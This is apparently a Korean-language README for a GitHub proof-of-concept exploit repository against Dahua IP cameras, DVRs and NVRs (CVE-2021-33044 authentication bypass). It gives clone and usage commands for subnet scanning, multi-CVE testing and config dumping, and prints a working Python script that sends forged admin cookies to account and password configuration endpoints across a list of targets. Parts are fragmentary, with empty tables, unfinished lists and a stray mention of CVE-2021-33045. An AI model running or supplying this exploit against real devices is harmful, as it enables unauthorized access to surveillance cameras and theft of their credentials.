
Dahua 인증 우회(CVE-2021-33044)에 대한 PoC 익스플로잇. 서브넷을 스캔하고, 여러 CVE를 테스트하며, 유효한 자격 증명 없이 조작된 쿠키를 통해 장치 구성을 덤프합니다.
Dahua IP 카메라는 보안 감시 시스템에서 널리 사용되는 IoT 장치입니다. 내부 네트워크나 인터넷을 통해 자주 배포되므로 IP 카메라의 보안 취약점은 프라이버시와 정보 보안에 심각한 영향을 미칠 수 있습니다.
CVE-2021-33045는 일부 Dahua 카메라 모델에 존재하는 보안 취약점으로, 유효한 인증 없이 내부 구성 리소스에 무단으로 접근할 수 있습니다. 이 취약점은 장치 펌웨어의 취약한 접근 제어 메커니즘에서 비롯됩니다.
| 항목 | 내용 |
|---|---|
| CVE | CVE-2021-33044 |
| 유형 | 인증 우회 |
| 심각도 | 치명적 (CVSS ~9.8) |
| 인증 | 인증 불필요 |
| 영향 | Dahua 카메라 / DVR / NVR |
취약점은 Dahua 카메라 펌웨어의 안전하지 않은 인증 설계에서 비롯됩니다.
이로 인해 공격자는 다음과 같은 작업을 수행할 수 있습니다.
참고:
→ 클라이언트가 임의의 쿠키와 함께 HTTP 요청 전송
→ 카메라가 인터페이스 수준에서 쿠키 확인
→ 백엔드에서 유효한 세션을 확인하지 않음
→ 내부 구성 엔드포인트에 직접 접근 허용
→ 민감한 데이터 반환
| 파일 | 목적 |
|---|
# 저장소 클론
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# 서브넷 스캔 (포트 필요)
python dahua_scanner.py https://example.com -p 80 8080 8800
# 포트를 지정한 단일 호스트
python dahua_scanner.py https://example.com
일반적인 Dahua 포트: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # 우회 후 장치 정보 덤프
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
스크립트는 requests 라이브러리를 사용하며, SSL 경고를 비활성화하기 위해 적극적으로 SSL 경고를 끕니다.
dump_accounts(ip, port=80) 함수는 카메라 장치를 확인하는 주요 함수입니다.
함수의 주요 기능은 다음과 같습니다.
인증 쿠키 시뮬레이션. 함수는 다음과 같은 쿠키 값을 사용합니다.
userName=adminuserLevel=1sessionID=00000000영향을 받는 카메라 버전에서는 백엔드가 실제 sessionID를 확인하지 않으므로 시스템이 요청이 유효한 관리자 계정에서 전송되었다고 신뢰합니다.
스크립트는 입력 파일에서 대상 목록을 읽고 각 장치에 대해 검사 함수를 순차적으로 호출합니다. 이 방식을 통해 여러 카메라를 자동으로 평가할 수 있습니다.
이 스크립트들은 다음을 기반으로 개발되었습니다.
테스트 상태:
이 프로젝트는:
| CVE |
|---|
dahua_scanner.py | 네트워크 검색 — 서브넷에서 Dahua 카메라 찾기 | 탐지 |
dahua_exploit.py | 다중 CVE 스캐너 — 모든 보안 취약점 확인 | 모두 |
dahua_auth_bypass.py | 전용 인증 우회 (--dump 옵션 포함) | CVE-2021-33044 |